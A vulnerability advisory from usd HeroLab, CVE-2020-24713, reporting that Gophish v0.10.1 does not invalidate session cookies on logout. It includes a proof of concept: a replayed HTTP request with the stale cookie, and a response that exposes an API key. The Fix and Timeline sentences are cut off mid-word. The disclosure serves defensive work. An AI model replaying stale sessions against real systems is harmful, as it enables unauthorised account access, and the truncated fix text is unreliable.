



usd HeroL



Technisch erforderlich



Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

Advisory ID: usd-2020-0053

CVE Number: CVE-2020-24713

Affected Product: Gophish

Affected Version: v0.10.1

Vulnerability Type: Insufficient Session

Security Risk: High

Vendor URL: <https://getgophish.com/>

Vendor Status: Fix scheduled

## Description

The client's session cookie "gophish" doesn't get invalidated on the server side upon logout. A new cookie is sent to the client however the old session cookie can be used for browsing the settings page and to retrieve the API key.

## Proof of Concept (PoC)

A user's session is not invalidated on the server-side upon logout. Hence, it is possible to continue browsing pages using the old session and a web application proxy such as Burp. The following screenshot illustrates how an HTTP request containing a logged out session returns the same response as if the session's owner was still logged in.

1. Logout using /logout

2. Replay previously captured request to `/settings` (including old cookie) – observe that the session was not invalidated server-side

**Request**

Raw Params Headers Hex

```
GET /settings HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.7,de;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
_gorilla_csrf=MTU5MTM1ODY3NXxJbXB0Y25NNVNEaHdZa00yV1VWNVNzWXZaVFZQWTJFclNHZE9ja1ZVVGxoT2MzWmpSVXBZVmtSR1ZtT7lJZ289fH2o5Xbh8uGHlgMFn-9LCZNjrcQIHxnUJ1RXrbnFS6cz;
gophish=MTU5MTM1ODY3NXxUUVQME9vdjFRV0hsbWNUX1B5NERvbktWMEIdLQ0VaMjppbTRtM2VG72NjTjR1bXY3N2U4Z1RIUk8wcEJC
OVhTtTV1VTY2cnFGWF9YVUtlZPxy-Bd79KTkmPDaaaxOvynI9t8jB2i-o-b2kttYnwFvvka=
Connection: close
Upgrade-Insecure-Requests: 1
```

**Response**

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Vary: Cookie
Date: Fri, 05 Jun 2020 12:14:04 GMT
Connection: close
Content-Length: 14608

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="description" content="Gophish - Phishing Toolkit">
  <meta name="author" content="Jordan Wright (http://github.com/jordan-wright)">
  <link rel="shortcut icon" href="/images/favicon.ico">

  <title>Settings - Gophish</title>

  <link href="/css/dist/gophish.css" rel="stylesheet" type="text/css">
  <link href="https://fonts.googleapis.com/css?family=Roboto:700,500" rel="stylesheet" type="text/css">
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,300,600,700" rel="stylesheet" type="text/css">
  <script>

    var user = {
      api_key: "1a2e06128d92469e14ab874b0190d760ecb4426aaf60d97f68171d2af1f4d320",
      username: "admin"
    }

    var csrf_token =
    "aTWANZpLBoTqe088V2tj2ayjTnBjRuF3yew"

  </script>
</head>
```

## Fix

Upon logout, user sessions should be

## Timeline

- 2020-06-18 First contact request via
- 2020-06-22 Vendor responds to initi
- 2020-08-20 Vendor accepts the risk



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse Zwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

About usd Security Advisories



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

## Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

[usd AG](#)

[Kontakt](#)

[Impressum](#)

[Datenschutz](#)

[AGB](#)

© 2022 usd AG

[Meldung einer Schwachstelle oder eines Bugs](#)

[Code of Ethics](#)



[LabNews](#)

[Security Advisory zu GitLab](#)

**Dez 15, 2022**

[Security Advisory zu Acronis Cyber Protect](#)

**Nov 9, 2022**

[Security Advisories zu Apache Tomcat](#)

**Nov 24, 2022**